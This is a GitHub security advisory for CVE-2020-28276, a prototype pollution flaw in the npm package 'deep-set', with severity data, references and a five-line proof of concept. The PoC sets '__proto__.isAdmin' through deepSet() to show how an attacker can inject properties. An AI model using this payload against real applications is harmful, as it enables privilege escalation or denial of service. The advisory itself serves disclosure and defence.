GitHub Advisoryadvisory · npm
GHSA-wgxm-rg53-h2c6 Prototype pollution vulnerability in 'deep-set'
CRITICAL
Official page ↗
- Aliases
- CVE-2020-28276
- Ecosystem
- npm
- Packages
- deep-set
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-1321
- Reviewed
- 2024-04-22
Affected packages
• npm deep-set: >= 1.0.0, <= 1.0.1 (no fix yet)
Description
The NPM module 'deep-set' can be abused by Prototype Pollution vulnerability since the function `deepSet()` does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.
PoC
```js
var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);
```
Related
Alias · CVE (1)
- CVE-2020-28276 Prototype pollution vulnerability in 'deep-set' versions 1.0.0 through 1.0.1 allows attacker to cause a denial of service and may lead to… vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28276 advisory
- https://github.com/klaemo/deep-set package
- https://github.com/klaemo/deep-set/blob/103d650b3de1f5c6cf051236347ba59e7274cd07/index.js#L39 web
- https://web.archive.org/web/20210320110509/https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28276 web